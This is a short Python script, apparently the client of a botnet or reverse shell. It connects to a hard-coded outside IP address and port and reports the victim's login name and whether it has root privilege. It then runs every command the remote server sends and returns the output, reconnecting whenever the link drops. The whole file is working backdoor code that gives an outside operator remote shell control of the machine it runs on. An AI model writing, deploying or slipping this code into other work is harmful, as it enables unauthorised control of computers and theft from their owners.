import socket
import os
import sys

SERVER_HOST = "178.63.100.123"  # Replace with server IP
SERVER_PORT = 14006


def connect_to_server(bot_name):
    while True:
        try:
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.connect((SERVER_HOST, SERVER_PORT))
            
            # Send initial bot information to server
            username = os.getlogin()
            privilege = "root" if os.geteuid() == 0 else "user"
            conn.send(f"{bot_name}|{username}|{privilege}".encode())

            while True:
                command = conn.recv(1024).decode()
                if command.lower() == "exit":
                    break
                try:
                    output = os.popen(command).read()
                    if not output.strip():
                        output = "Command executed with no output."
                    conn.send(output.encode())
                except Exception as e:
                    conn.send(f"Error: {e}".encode())
            conn.close()
        except Exception as e:
            print(f"Connection error: {e}")
            pass


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 target.py <bot_name>")
        sys.exit(1)
    bot_name = sys.argv[1]
    connect_to_server(bot_name)